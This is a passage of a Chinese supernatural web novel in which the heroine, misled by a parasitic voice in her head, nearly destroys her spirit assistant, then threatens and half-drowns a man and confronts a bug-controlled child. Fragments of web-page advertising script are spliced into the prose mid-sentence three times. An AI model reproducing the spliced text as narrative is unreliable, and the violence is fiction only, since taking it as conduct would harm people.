她异常容易地就被说服了,这跟平时的她不太一样。但那声音仿佛有种魔力,她心头浮起的狐疑很快被压了下去。 是啊,这个想法不无道理,万一阿冬想害她呢? 她心里缓缓升起戒备,阿冬似乎感知到氛围的异样:“怎么了,哪里不对吗?” 秦熏静静盯着它,没说话。 “那个……”马春的出现打破寂静,她在楼梯间探头探脑,“我看到很多人出现在大厅里,所以就想着上来问问,你们处理完了是嘛?” 秦熏颔首:“嗯。7楼的墙可以拆了。” 阿冬补充道,“11楼也可以了。” 马春激动地迈步上前,“真的太感谢你们了,那……”她抠着手指,有些不好意思道,“那我能留您一个联系方式吗?万一以后又遇到这种事……” 秦熏刚想拒绝,阿冬就把那张名片派出去了,“记得多替我们工作室……啊不,部门宣传。” 马春高高兴兴地把名片揣进兜里,“这边请,我带你们下楼。” 秦熏趁她不注意偷偷瞄了阿冬一眼,是啊,这家伙不仅疑点重重,还很会自作主张。 一行人进了电梯,秦熏习惯性地抬眼看向上方跃动的数字,目光掠过电梯门时忽然一顿。 这电梯门跟镜子一样,映出她和马春的倒影。 她清晰见到自己掌心探出一条丝线,缓缓连接到前台小姐身上,连接瞬间,她裤兜里那张名片亮了一下。 秦熏猛地反应过来,楼道里的那些人,他们在工厂时也都拿了阿冬的名片。 这些丝之所以会汇聚到她这儿来,都是因为名片的缘故! 她死死盯着镜子里的丝线,无论她怎么握紧拳头,丝线都还是冲破阻碍,跟她掌心相连。 再看向马春,她已经完全被同化成和楼道里那些人一样的“虔信徒”,看秦熏的目光狂热而兴奋。 她尚不知这种事会对自己有什么不良影响,但这种超出想象的发展令她本能地觉得不安,那个莫名的声音又开始在她脑海中低声细语:【天啊,它到底在盘算什么?】 她瞥了眼镜中的阿冬,它静静立在电梯一角,浑身上下都是黑的,只有墨镜反射着电梯顶部的光源。 恰巧电梯抵达一楼,她忍不住加快脚步,离开酒店,脑中怀疑像雪球一样越滚越大。 她所知的一切都是它给自己立的人设:爱好游戏和看剧的阿宅幽灵、需要她充电才能恢复的虚弱灵体。 它表现得无辜又无害,可真如它所说,他两以前关系很好,是合作了许多轮的老朋友,那她为什么又要烧了它的容器,这对它似乎伤害不小不是吗?谁会对自己的朋友做这种事? 【对,没错。】那个声音又道:【它肯定不是什么朋友,这一次次的轮回,其实都是一次次被它这个诅咒纠缠的过程!你仔细想想,你为什么会去工厂?】 秦熏内心暗道,是因为阿冬主动给王赫发去了短信。 【为什么会被这诡异的丝线缠上?】 是因为它的名片。 她脑中的那个声音越来越坚定,越来越有蛊惑性:【这么多疑点摆在眼前,你真的还能继续跟它合作吗?它到底是什么东西?】 阿冬突然绕到她前面:“你怎么了?你看上去很奇怪。” 秦熏张了张口,缓缓道:“我觉得好像有点不对劲?” “不对劲?”阿冬若有所思,“你刚才是不是遇上了什么?” 遇上了什么?秦熏眼前模模糊糊闪过一个贝壳的幻象,幻象转瞬即逝,她也不知道自己为什么会突然想到这个。 “我……” 脑中声音道:【你确定要什么都告诉它吗?它值得信任吗?】 秦熏紧了紧眉头,那关于丝线的事情总得问清楚吧? 【问了它就会如实告知吗?】 秦熏眨了眨眼,再次被轻易说服。对啊,它的回答未必是真,还是她自己私下去别处寻找答案为好。 她于是摇摇头:“没什么,只是今天发生的事情太多了。” 阿冬没有怀疑,它像个合格助理那样询问她的行程,“下面去哪儿?去找袁珺,还是先回家?” 秦熏沉默半晌,忽道:“你先回家吧,我跟刘婷约了午饭。” “好。”阿冬点点头,没有多问,直接消失在原地。 它似乎只能读懂人浅显的面部表情,无法判断更深层次的情绪,完全看不出她的隐隐忌惮和怀疑。 秦熏松了口气,还挺好骗。 她刚要给刘婷打电话,那头就先打来了:“我到A市了,咱们老地方见?” 秦熏:“行。” -- 半个小时后,两人在一家俄式餐厅前见面,餐厅生意很好,门前都是拿着号码等叫号的人。 秦熏见了刘婷,险些认不出来。 她晒黑了不少,人也瘦了一圈,但精神状态看着特别好,眼神亮晶晶的,一扫之前当社畜的时候那种洗不掉的疲惫劲,一副活力满满的样子。 她从包里摸出一本书递给秦熏:“喏,给你带的。” 秦熏微怔,那是一个纸页泛黄发脆的黑色封皮的本子,封面也没写书名。 “这什么书?”秦熏有些不明就里,她也不是什么喜欢看书的人,刘婷更不是了,怎么想到给她带这样的礼物。 刘婷兴奋道:“看到这本书的瞬间,我就想到你。” 秦熏顿生好奇:“嗯?” 刘婷小心翼翼将书翻开,“你看这画,是不是很像你?我就怀疑啊,这可能跟失忆前的你有关。” 秦熏垂眸看了眼纸上的图,登时愣住,画上是一个盒子。 它跟她记忆碎片里在江边焚烧的那只一模一样,虽然是寥寥几笔,但那盒子该有的特征,图上都有。 刘婷在她眼前晃了晃:“怎么了你,看傻了?画得再像也就是一张人物插画嘛,至于看这么久?” “人物……插画?” “对啊,”刘婷有些奇怪地看了她一眼,“看不出来?诺,你看这眼睛,这鼻子,然后这嘴,真就跟你一模一样。” 秦熏看着她的手指在纸面上一阵瞎点,一时分不清她是不是在开玩笑。 在她眼里,这张纸就只画了那个盒子。 难道一幅画在不同人眼里还能不一样? 她翻了翻前页,排版很乱,字迹魔幻,全文写着不知道是哪国语言的鸟语,难以辨认。 秦熏迟疑片刻,问刘婷,“这书里写的什么字,你看得懂?” 刘婷更奇怪了:“书里哪有字,都是画啊,而且画的都是人。” 秦熏霎时只觉毛骨悚然。 她定定看着刘婷,刘婷眼神认真,并不像在说谎。 见她呆愣,刘婷反倒担忧起来:“你今天怎么怪怪的?” 秦熏摇摇头,问她:“你在哪里发现的这本书?” 刘婷笑道:“你知道的,我二叔是个徒步爱好者,他前段时间听朋友说了一条没走过的新线路,因为这条线路据说挺适合新手入门,于是就带上我一起了。我们途径一个无名峡谷,峡谷里有一架直升机残骸,机体都不成样了,这本子还完好着。” 峡谷,直升机?秦熏心里一突,怎么跟她梦里的场景那么像。 刘婷掏出手机,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 诺,给你看,我还拍了照片呢。” 画面里残破的直升机机体上绘的图案也和她梦里的一模一样。 这下,秦熏说什么都坐不住了,世上哪有这么巧合的事。 这个地方,她必须得去一趟,她的记忆,她的身世,极有可能会在那里找到答案。 “这条路线,是在哪儿?” “云南。”刘婷有些兴奋,“那条线路风景特别好,对新人也很友好,你要是也想去,咱们得先准备一段时间,嗯……九月初出发,怎么样?” 秦熏算了算,一个月的时间,完全够她把租房的问题解决了。 刚要点头,脑中声音说道:【现在这样的生活其实很好啊,非要知道过往,万一真相令我无法接受怎么办?】 秦熏动作一顿,缓缓摇头:“算了,我不是喜欢运动的人。” “啊,那就算了。”刘婷失望一瞬,很快又恢复如常,“叫到我们的号了,走,进去。” 等上菜的间隙,秦熏又忍不住翻起那本泛黄的笔记本,盯着那些扭曲的字符看。 再次翻到绘着盒子那页时,她突然顿住。 盒子下方那句话她刚开始是看不懂的,可这一遍看,忽然就认出那些字是什么含义—— 它看中了梅林祭坛里的这个盒子,说是想拿来做容器,我有点犹豫要不要去帮它取。 纸页扭曲一瞬,一错眼,那行字变回了凌乱符文。 脑中那个声音又开始说话了:【这本笔记本怪怪的,看多了会不会跟恐怖片里一样精神失常呀?我还是别看了,最好丢了吧。】 这个念头促使她合起书页,心里刚升起的古怪念想不翼而飞。 -- 吃完饭,两人逛了会儿街,就各自告别,刘婷回了家,秦熏则独自去往袁珺家,完成袁娜遗愿。 袁娜灵魂涣散成那个样子,估计撑不过今晚,她不想人抱着遗憾走。 路上脑中声音几番催促她丢了笔记本,但她潜意识里不想这么做,两个念头一直在打架。 直到抵达华盛小区,她的注意力转移到其他事情上,那声音才不再说话。 华盛小区是个普通居民小区,安保不是很严,外来者只要登记一下就能随便进去。 她找到6栋,门口的保安大婶见有人进来,警惕抬头,见是个漂亮姑娘,戒心顿时少了一大截,不过秦熏不是这栋楼的住户,她照例还是得问一句:“您好,有事么?” 秦熏点点头,“我来找人,702是不是有个叫袁珺的小朋友?” 大婶一愣,“小朋友?”她笑了,“现在的702业主家里没有孩子,但你如果问的是以前的袁警官,她的确有个小女儿。” 秦熏忙道:“那袁珺是和家人搬走了么?您知道搬哪儿去了么?” 大婶想了想,答道:“是她爸爸来把孩子带走的,说是带着孩子搬家的。我打电话联系过袁警官,但她一直不接,再加上孩子确实说这是她爸爸,我们便没再拦着。” “您有袁珺她爸的联系方式么?” “诺,”大婶翻开登记簿,“这儿呢。” 秦熏拨出电话,漫长的嘟声后,那头终于接通了,声音听上去很暴躁:“谁啊?” 秦熏问道:“请问袁珺是不是在你哪儿?” 那头登时警惕起来:“你想干什么?” 秦熏:“我是她妈的朋友,她托我来找袁珺。” “放**屁!”那头怒骂,污言秽语不断,接着啪地一下挂了电话。 秦熏眼里闪过一丝愠色,面色阴沉,嘴这么脏的人真是欠揍啊。 看来正常问是问不出这人的地址了,她鬼使神差,低头看了眼自己掌心那跟小眼睛似的掌纹。 秦熏突发奇想,她一个人的确找不到袁珺,可如果算上这些“信众”呢? 她或许可以用某种方式联系到他们。 12. 寄生 秦熏犹豫片刻,选中其中一根丝线,轻轻触碰上去。 屏气凝神,集中精力。 霎时间,她感觉自己似乎和谁的精神交接了一下,那边嘈杂的声音传了过来。 她眼前一亮,有戏! 秦熏忙心中默念,“在么?” 那头有人兴奋道:“是,是您在说话吗,是您在发布神谕吗?”虽然神谕只是两个字——“在么”,这也足够振奋人心了。 还真行啊!秦熏来不及高兴,忙问那头:“认不认识袁珺,她住在华盛小区6栋,妈妈叫袁娜,是个警察?” “我没有听过。”那头听上去有几分失落,“请您原谅。” 秦熏,“没关系,帮我调查一下她的情况就行,千万不要靠近她,也不要说出我们的事,更不许违反道德法律。” “好的!”那头一下子又高兴起来,“本来找人就是我们警局的业务。她是失踪了吗?” 算么?秦熏也不知道怎么说,只含糊道:“差不多,我找不到她人。” 这边“下达”完命令,秦熏忙又去对第二根线故技重施。 两三回后,她觉得这样效率太低,于是一把握住所有丝线,尝试同时联系所有人。 然而,一阵尖锐的刺痛从她大脑深处传来。 她浑身一颤,眼珠子突突突地痛,跟要从眼眶里蹦出来一样,又像有只手把她的脑子当橡皮泥玩。 她面色煞白,只觉天旋地转,半秒钟后,陷入黑暗。 再次醒来,眼前是那保安大婶担忧的脸。 见她睁眼,大婶长舒了一口气,“总算是醒了,姑娘你可吓死人了,突然就昏了过去,好在你朋友及时赶到,给你送了药来。” 朋友?秦熏一愣,大婶身后,露出那个熟悉的黑墨镜。 她这才发现自己躺在保安室休息间,阿冬则坐在床前的椅子上,静静盯着她。 它手上捏着一个小瓶,里面装着只剩个瓶底的透明液体,正是上次在森林里她喝过的蜕灵灵液。 保安大婶戴上帽子,别好对讲机,指了指墙上的电话,“我先去巡楼了,有事儿直接打这个电话就行。” 说完她离开保安室,屋里只剩秦熏和床前安静得过分的阿冬。 秦熏率先打破沉默:“你怎么来了?” 它语气平淡,不太像平时的阿冬:“我不希望你继续这么莽撞,灵魂受损并非小事。” 秦熏含糊道:“知道了,下次不会。” 她说完准备继续昏倒前未完成的事,它却突然握住她的手腕。 一股极其冰冷的凉意顺着她的手腕攀上她的脊骨,“你还没恢复到能完全驾驭这种能力的时候。” 秦熏皱着眉头,猛地抽回手。 既然它自己说破“能力”这事,那她也不装了。 虽然脑中声音不断阻止她问,她还是问出了口:“你为什么要做这些?那名片是怎么回事?” “用人类的话说,我所做的这些是写在程序指令里的。我必须发出名片,或者以其他方式帮助你建造属于你的信仰。” 秦熏眉头微皱,“谁给你的指令?” “不知道。” 秦熏不满,“你怎么什么都不知道?” “……”它拿起桌上的笔,在纸上画了一个符号,“我理解你的不信任。因此,我愿意提供更多保障措施。” “如果我做出伤害你的事,你可以选择摧毁我,只要在我的容器表面刻画这个符号即可。” 确定秦熏看清并记住了后,纸张无火自燃。 秦熏眯了眯眼睛:“你不怕我现在就直接摧毁你?” 它顿了顿,从刚才那种冰冷的毫无起伏的“机器人”变回她熟悉的那个阿冬。 阿冬语气听上去格外伤感:“真的吗?你有这么狠心吗?” 脑中声音又道:【不要跟它废话,它现在用的这具骷髅就是一个容器,直接画上那个符号吧。】 秦熏眉头动了一下,怪异感再度浮上心头。 蜕灵灵液具有令人神智清明的作用,刚喝下那一瓶,现在是她最清醒的时候。 她瞬间捕捉到之前一直被她忽略的违和感。 这声音真的是她自己的心声吗?为什么一点都不像她? 她骨子里讨厌杀戮,即使是对着朝她开枪的陈然,她都没下杀手;恩将仇报辱骂她的人,她也只是割耳警示;为什么对尚未伤害过她的阿冬,她的心声会表现出如此强的杀意? 不对劲,太不对劲了。 【那些都是人,它又不是,】声音循循善诱,【对付心怀歹意包藏祸心的怪物,你也要心生怜悯么?】 秦熏犹豫须臾,在心里答道:不会。 【那就对了。现在,抓紧机会,这家伙很狡猾,小心它逃跑了。】 秦熏缓缓抬起手臂,即将触及骨架的时候,又顿在原地。 阿冬低头看了眼她的手,更幽幽叹了口气:“你不会真想动手吧?” 秦熏目光直勾勾盯着它:“如果我现在在你身上刻符文,会怎么样?” “既然你这么好奇。”它脱下手套,伸出白骨手掌,“那可以试试。” 秦熏在声音的催促下缓缓画出那个符号。 顷刻间,骨架散了一地,衣物不翼而飞,只余骨粉和零散人骨在地上堆成小山。 【好好,它总算是……】 那声还没说完,一只通身漆黑,鸟喙金黄的小鸟飞进保安室的窗户。 她认得这种鸟,因为隔三差五就有一群在她家附近飞,她于是闲着无聊上网搜,这种鸟名叫乌鸫。 它立在窗边,优雅地理了理身上的羽毛,口吐人声:“骨架无法承载符文的能量,如果真想摧毁我,你需要给我换一个更上档次的容器。” 【该死,这家伙留了一手。】脑中声音阴沉道:【是我欠考虑了。这种符文起码得几百年的古董才能承载。不过没关系,博物馆里有……】 秦熏心头一沉。 开什么玩笑!博物馆里的藏品也是能随便肖想的?她可不想牢底坐穿。 秦熏,一等一守法良民,绝对不会产生这种罪恶的想法。 更何况她一个刚见过这符文的人,怎么会知道什么样的东西才能承载符文之力? 此时此刻她已能肯定,这声音绝对不是她的心声。 她脑子里,一定有只寄生虫。 可它是什么时候钻进她脑子里的? 这只“寄生虫”似乎跟阿冬有什么过节,左一句右一句地针对阿冬,非要至它于死地不可,明显有仇。 既然如此,多半也是趁着阿冬不在场时招惹到她身上来的。 那声音还在啰哩巴嗦,她选择性忽略,扭头问阿冬:“从昨晚进入森林遇见陈然,到现在为止,我都经历了什么事吗?” 虽然觉得她的要求很奇怪,但阿冬还是一五一十复述了一遍。 讲到楼道里的巨眼时,秦熏突然打断它:“你是说这里你和我分开行动了?” “对。” 她像捕捉到什么关窍:“关于那只巨眼,你知道多少?” “它被称为监管者,以人类灵魂为食,体内存在极具污染性的内核……”说到这里,阿冬突然一顿。 它似乎察觉到什么,墨镜下的一对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黑窟窿和秦熏对视。 他两都不再说话。 脑中声音似乎察觉到什么,尖声叫嚣:“它说的都是骗人的!别信它!” 她心如止水,置若罔闻。 阿冬闪电般出手,一团幽蓝火焰烧上秦熏手背。 霎时,一枚深色贝壳挣扎着浮出皮肤表层,它尝试逃离,但蓝火越烧越烈,它终于还是不甘地消失在火焰里。 脑中声音霎时消失,秦熏脑中多了一段“贝壳”飞到她手背上的记忆,看来这部分记忆之前是被“贝壳”隐藏了。 阿冬收回掌中火焰,有些好奇道:“按理说不主动招惹,监管者的核不会附在人身上的,你做了什么?” “我就是不小心蹭了一下,然后它自己就飞到我手背上了。” 秦熏揉了揉发胀的额角,这东西还真是危险,不动声色就把她给洗脑了,还能抹除记忆…… 她悄悄摸摸怀里的笔记本,这么关键的东西,差点就在它的误导下丢了。 还好她足够机智警醒,发现得早,否则谁知道这鬼东西以后还会怂恿她做什么。 她忽然想到什么:“对了,这事儿没有后遗症吧?” “如果是普通人,此时应该已经灵魂解体了。对你而言伤害也不会小,起码会虚弱一段时间。” 秦熏有些苦恼,“那得要多久?” “半个多月。”阿冬建议道:“这半个月你最好还是别出门,好好休息。” 秦熏点点头:“我先帮袁娜她们母女见一面,然后就回家。” 刚好趁这半个月先把租房的事情解决了,然后找刘婷商量去云南峡谷的事。 阿冬未置可否,它顶着乌鸫那对黑豆眼儿幽幽盯着她,“如果没有被污染,你也会毫不犹豫画那符文吗?” 秦熏一愣,怎么问这个? 她被盯得有几分心虚,轻咳一声道:“都已经是发生过的事,哪有什么如果不如果的。对了,我刚在酒店就想问,为什么你这名片会让我手上长出跟那眼睛上一样的丝线?” “不是长出,而是原本就有,”阿冬解释道:“监管者的丝线跟你同源,因此能激活你这部分能力。名片只是在人身上为你的丝线提供接口,比起监管者的直接操纵更省灵魂之力而已。” “灵魂之力?” “对。直接操控很耗能的。所以监管者才需要吃那么多灵魂。” 秦熏脊背一寒:“我以后不会也得吃……” “吃了你也消化不了。” 消化不了……秦熏有些哭笑不得,亏它想得出这样的用词。 她下了床,刚站起身,就看见地上那一堆骨灰:“这东西怎么还留在地上?” 待会儿大婶回来,看到这鬼东西会怎么想? 阿冬不为所动,“我只是一只鸟。” 言下之意,你自己收拾咯。 秦熏不满:“哪有助理让老板干活的?” “哪有老板会养一只鸟当助理的?” 秦熏:“……” 是她的错觉么,这家伙是不是突然对她有什么意见,不然怎么说一句杠一句? 她想了想,可能它真的对符文一事耿耿于怀。 虽说她那时是被洗脑了,不大清醒,但这事的确也是她理亏。如果不是骷髅容器年份不够,它可能真就挂了,不高兴也正常。 她于是没跟它计较,拿起扫把扫地。 两分钟后,她拎着垃圾袋出门,刚打开垃圾桶,就有只斑鸠飞了过来。 斑鸠轻轻蹭了蹭她的手背,秦熏耳中瞬间捕捉到一个跳脱的声音,“你在找珺珺对不对?我知道她在哪儿噢。” 13. 乌鸫 秦熏一愣,低头看向斑鸠圆滚滚的身子,“是你在说话?” 斑鸠秀了一下自己尾巴上明显跟它麻色调的羽毛格格不入的黑羽,“对啊,阿冬给了我这张名片,说我以后遇到麻烦可以找您帮忙,但先要帮您找到珺珺。” 秦熏:“……” 行吧,难怪能听懂鸟语,看来这小家伙现在也是她的信徒了。 他们这业务已经从人拓展到鸟类了吗?以后不会拓展到更多物种吧? 秦熏心里五味杂陈,万一有一天,她的猫信徒和鸟信徒打起来了,都求她帮忙,那她怎么调解? 不行不行,秦熏忙把脑海里乱七八糟的想法抛开,专注当下:“行,你带我去。” 斑鸠振翅而飞,速度不快,秦熏扫了辆单车,正好能追上。 阿冬化身的乌鸫停在她车把上,仰头在观察她。 狂蹬踏板的秦熏看它这么悠闲有点不爽,“你不是有翅膀,不能自己飞?” 阿冬道:“我只是在思考,你既然可以为了一面之缘的袁娜奔波,为什么对我态度这么差?” 秦熏冷哼:“人家没有连累我被房东勒令一个月内搬走。” “但她也没给你带来100万的商机,不是么?” “人和人之间要看眼缘的,”秦熏简单粗暴:“我看她比你顺眼。” 况且她和袁娜都是人,基因上本来就要更亲近一些。 阿冬慢吞吞道:“可能是跟人类待久了,有点被同化,我居然学会了人类‘不高兴’的情感。” 话音刚落,秦熏觉得自行车变得十分难骑,像是突然加重几十斤,她每一脚都十分吃力。 秦熏怒了:“因为你不高兴,所以就这么折腾我?” 阿冬答道:“是的,这样似乎能让我学会‘高兴’的情绪。” 秦熏腾出一只手驱赶它,“下去!” 乌鸫继续问:“如果我换成更加可爱好看的外形,你对我会不会更友好?” 秦熏斩钉截铁:“不会,这和外形没关系。” “真的吗?”乌鸫的脑袋变成猫头,“我不信。你们人类似乎很喜欢猫。” 秦熏紧急刹车,一把捉起车把上那只“猫头鸟”,“如果你是因为那符文的事不爽,那我跟你道歉,回去给你买新游戏,帮你刷BOSS行不行?现在咱们能不能把心思放在正事上?” “我只是想跟你做朋友。”它语气听上去十分疑惑,“我们以前就是朋友,你现在只是失忆了而已,为什么态度会有如此大的转变?” 秦熏无奈,只能敷衍道:“好好好,朋友,你是我最好的朋友行不行?” 它变回原样,也减轻了自行车的负重,但她这样的糊弄俨然并未能说服它。 乌鸫漆黑的眼睛看她片刻,忽然挣开她的束缚,振翅飞向空中。 秦熏仰头问道,“你去哪儿?!” “离家出走。”乌鸫头也不回地飞走了,不一会儿就没了踪影。 秦熏一愣,哈?离家出走? 她其实是个神经很粗的人,人际交往方面很迟钝,所以混了三年也就只有刘婷这唯一一个知心朋友,得亏刘婷神经比她还粗。 秦熏有些头疼,她可不擅长处理这种情况。 好在她从不内耗,反正她能做的已经做了,好话也说了,它要再不高兴,她也没办法。 她于是将这事抛在脑后,继续蹬车追斑鸠,不多时,斑鸠忽然道:“到了,就是前面那儿!” 秦熏抬眼一看,她居然骑到了别墅区门口。 苍天啊,她心里愤愤,凭什么刚才电话里那个脏话连篇的低素质男人居然能这么有钱? 别墅区没那么好进,安保也比华盛小区的更严。 见她不是业主,且没有邀约,保安坚决不让她进。 她在门口徘徊了一会儿,忽然瞥见不远处有辆车正朝这驶来。 驾驶座上的正是王赫,他戴着一顶帽子,遮住头顶的细管。 王赫也看见了她,忙路边停车,从车窗探出头,望着她欣喜道:“您怎么亲自来了?” 秦熏忙问:“你家住这儿?” “不,我进去见个朋友。” 秦熏飞快道:“那也带我进去。” 王赫恭敬道:“请您上车。” 秦熏打开后座车门,这才发现后座已经有人了,看上去是高中生年纪,跟王赫有几分相像。 他警惕地盯着秦熏,“爸,这人谁?” 王赫语气一沉:“闭嘴,没你说话的份。” 那人眼神一暗,看向秦熏的目光更不友好。 秦熏压根儿没当回事,高中生嘛,正处在性格最古怪的年纪,她懒得跟学生计较。 斑鸠小声叽咕道:“这个人身上有股血的味道。” 血?秦熏不动声色看他一眼,目光落在他裤脚几滴褐色斑点上。 王赫转头对着秦熏又是另一幅神情:“不好意思,是我教导无方,请您原谅。” 秦熏不想搅和在他们中间,加之斑鸠似乎又很怕王赫儿子,她进别墅区后就马上下了车,继续由斑鸠带路。 斑鸠径直飞向其中一栋。 这栋别墅看上去格外冷清,别人家门口好歹还贴着春联,这家门口却光秃秃的,连门前的草坪看上去也是很久没修理过的样子了。 秦熏按响门铃,很快,门铃里传来苍老的女人的声音:“哪位?” 秦熏直接道:“袁珺在么?” 那头沉默半晌,换成一个男声,秦熏听出来这就是那个满嘴脏话的人,也就是袁珺爸爸。 他的警惕和敌意几乎能化作实质:“你是谁?” “我是她妈妈的朋友。”秦熏淡淡道:“她托我来看看袁珺。” 对方闻言登时暴怒,又是脏话连篇:“**,你**听不懂人话是吧?!还找到这里来了,滚,赶紧滚,别进来!” 秦熏态度强硬:“开门,我要见袁珺。” 门铃那头的声咔擦断了,取而代之的是饱含怒气的开门声。 人未至,一条胳膊先往秦熏身上推。 秦熏眼疾手快,一把掐住他的手腕,冷冷盯着他:“想打人?” 那人一愣,俨然没想到自己会被一个女人制住动作,这似乎戳到他什么痛点了,破口大骂:“你**的,滚!” 污言秽语秦熏实在听不下去,她趁他不备,抬手就往他下巴上来了一下。 他那张淬了毒似的嘴一口咬在他自己的舌头上,骂得有多狠,就咬得有多痛。 秦熏嗤笑,“哟,牙齿还挺利,都咬出血来了。” 男人哪受得了这样的挑衅,又是一拳挥来,秦熏目光扫过花园里的池塘,飞快避开攻击,并顺手带上门,抬腿往人背上一踹,直接把他踢到池塘边。 男人当即就要站起来,秦熏一把薅住他头发,二话不说拎着他头往池子里摁,“洗洗你这张臭嘴。” 她忽有所觉,看向立在台阶上目瞪口呆握着手机的老人。 秦熏冷冷道:“如果你敢叫别人来,我现在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就淹死他。” 老人忙道:“你先把人放了,有话我们慢慢说。” 秦熏把人从池子里提上来,“问你呢,能好好说话了么?” 被泡进水里淹了一会儿后,男人明显老实了不少,戾气尽消。 他沉默地抹了把脸,点点头。 老人忙来扶人起身,“沈明,没事吧?” 沈明摇摇头,目光中带了催促意味:“快走,这里不欢迎你。” 秦熏敏锐注意到背后有人在看她。 猛地转头,她瞥见二楼阳台上一闪而过的一道人影。 她用下巴点了点阳台,“那是袁珺?” 提到袁珺这个名字,两人神情同时变得紧绷,秦熏眯了眯眼睛:“你两,是做了什么亏心事?” 沈明深吸了一口气,把老人拉到身后,平静地看着秦熏:“我们家里感情很好,袁娜去世后,珺珺就有点受不了刺激,抱歉,我们不希望有人打扰,请您离开。” 秦熏漫不经心道:“我都找到这儿来了,就算不让我带走袁珺,让我跟她说几句话总可以的吧?” 两人还想说什么,别墅门口突然传来小孩的声音:“姐姐。” 袁珺站在门框边,探出半张脸看着秦熏,“你是来找我的吗?” 沈明和老人对视一眼,同时保持沉默,静静站在一旁看着。 秦熏笑了笑,将手里提着的口袋递给她,“诺,给你的礼物。” 她听袁娜说小姑娘很喜欢一个卡通角色,今天跟刘婷在商场吃饭的时候就顺带去买了这个角色的玩偶,当见面礼。 袁珺下了台阶,一路走到秦熏跟前,目光一直凝聚在她脸上。 袁珺的眼睛很大,却不像同龄小孩子那样灵动,说句不好听的,有点木木的,漆黑的瞳仁倒映出秦熏的脸。 秦熏眉头微皱,怎么这么盯着她,难道她脸上沾了什么东西? 她问:“怎么了么?” 袁珺脆生生答道:“姐姐你很漂亮,我很喜欢你的脸。” 她的直白令秦熏为之一愣。 这小姑娘完全不像她妈妈说得那么内向害羞,甚至比很多成年人都更社牛。 袁珺接过秦熏手里的礼物,低头看了眼,没有像秦熏意料的那样高兴。 她只是平淡地拿在手里,用空闲的手来牵秦熏,拉着她往屋里走,“姐姐你进来吧,我请你喝茶。” 全程,袁珺都没有看院子里其他两人一眼,那两人见她带秦熏进门,也没有阻拦。 他们就只是站在那里,沉默地看着一切发生,半点看不出几分钟前秦熏提到要见袁珺时的敌视警惕,剑拔弩张。 秦熏目光又落到眼前这个身高才到她胸口的小姑娘身上。 她觉得有点奇怪。 袁珺落落大方,能言善道,面上挂着甜甜笑容,也没有失去母亲的孩子该有的患得患失,悲痛欲绝。 别墅里三个人,血缘上明明是一家人,但秦熏却看不到任何父女、祖孙间该有的情感互动,也看不到寻常家庭里长辈对孩子的管束。 这个家里,似乎十岁出头的袁珺才是那个全权话事人,院子里那两人就像袁珺的管家和护卫似的,对真正的主人——袁珺的任何行为都无权置喙。 进屋之后,秦熏余光注意到身后的斑鸠贴着门框乱飞,硬是不进来。 她尝试用丝线和它沟通,消息也传不出去。 不仅是它,其他信徒也都联系不上了。 就像有个无形屏障隔开门内外一样。 14. 蜕人 秦熏默默多了个心眼儿,这栋别墅,这里的人,没她想得那样简单。 袁珺拉着秦熏到了沙发前,屋内的佣人无须吩咐,主动端来两杯凉茶和茶点,又静悄悄地退下。 凉茶是黑色的半透明液体,茶点是几块精致的粉色曲奇,清香阵阵。 袁珺热情招呼道:“姐姐,这是我们家特制的茶点,你尝尝?” 秦熏瞥了眼那些东西,不动声色道:“谢谢了,我来前吃的很饱……” 话音未落,袁珺又将那杯茶推到她手边,“那喝点茶吧,你看上去很渴。” 秦熏眸光微动,小姑娘的笑容阳光灿烂,看不出任何异样,似乎真的是在诚心关心她的口渴。 但从这两杯茶上桌那一刻起,秦熏就看见杯子里若隐若现的小人脸。 每张脸都只有硬币大小,飘在杯子里,随着水波上下起伏,就跟茶叶一样。 秦熏微眯双目,直接岔开话题,“你还记得你妈妈吗?” 袁珺充耳不闻,她执着地端起那杯茶递给秦熏:“喝茶。” 秦熏面色沉了下来,“你是谁?” 袁珺歪了歪头:“姐姐你这是什么意思?我就是袁珺啊,我是袁娜的女儿,你不是要见我吗?” 她笑容扩大,端起杯子,浅抿了一口,笑道:“好凉啊,甜甜的,你尝尝嘛,真的很好喝。” 秦熏冷冷看着她:“袁珺在哪儿?”她锐利的目光几乎要刺穿眼前人人畜无害的脸。 袁珺嘴角耷拉下来,眼里天真的笑意缓缓消失。 她举起一物,递到秦熏跟前,“这是你的东西嘛?这是你东西吗?上面有我族人的气息,我还以为你是自己人呢。” 她掌心摊着的赫然是刘婷给秦熏的笔记本。 秦熏心猛地一跳,什么时候被她拿走的?她竟毫无知觉?! 她忙摸向自己的口袋,却像被什么东西咬了一下。 不痛,因为压根儿连皮都没破,但她明显感觉指尖挂了个东西。 拔出一看,赫然是只蜘蛛样的小东西咬在她指尖,这东西比玉佛大不了多少,样子却要恶心得多。 它通体发黑,只有背上那几张扭曲的人脸是白的,螯肢上长着茂密的毛,头扁扁的,没有眼睛,张开就是张扁平的,有半个身子那么大的嘴。 杯子里泡的,就是这东西。 虫子啃在秦熏食指指尖,努力地想咬进她皮肉里。 好在秦熏不怕虫子,她反手拧住虫首,指尖用力,虫子奋力挣扎,却拗不过她的力气。 虫子八条腿齐齐一蹬,没了生气,背上的人脸飞快变黑,尸体周围迅速凝聚出某种透明胶体,将它完全包裹,几秒钟的功夫,就变得坚硬无比。 虫子死了,袁珺却并未大惊失色。 她甚至微笑起来:“不是自己人也没关系,来都来了,把你同化也不费事。” 无数只同样的虫子从袁珺指缝间、从她身后的沙发上爬了出来。 这些虫子似乎跟她很亲昵,她任由它们爬过她的身体,乌泱泱如浪潮一样向秦熏袭来。 片刻功夫,地砖、墙壁、天花都被这种背部长着人脸的虫子覆盖。 偌大的别墅俨然已成了这种东西的地盘,每个缝隙,每个角落都是它们的身影。 秦熏环顾一周,面沉如水。 袁珺笑盈盈道:“你的防护层很厚呢,不过我的小可爱们也不只是会咬人,它们无孔不入。” 无数虫子应声而起,直冲着秦熏面部飞来,看样子是瞅准了她的七窍。 秦熏却没有丝毫恐惧,甚至屁股都没挪一下,就那样坐在她对面的沙发上,冷漠盯着袁珺,任由虫子将她包裹。 袁珺把玩着手上的笔记本,翻开看了两页,就百无聊赖地丢在一边。 比起人类无趣的肖像画,她果然还是更喜欢人类的皮。 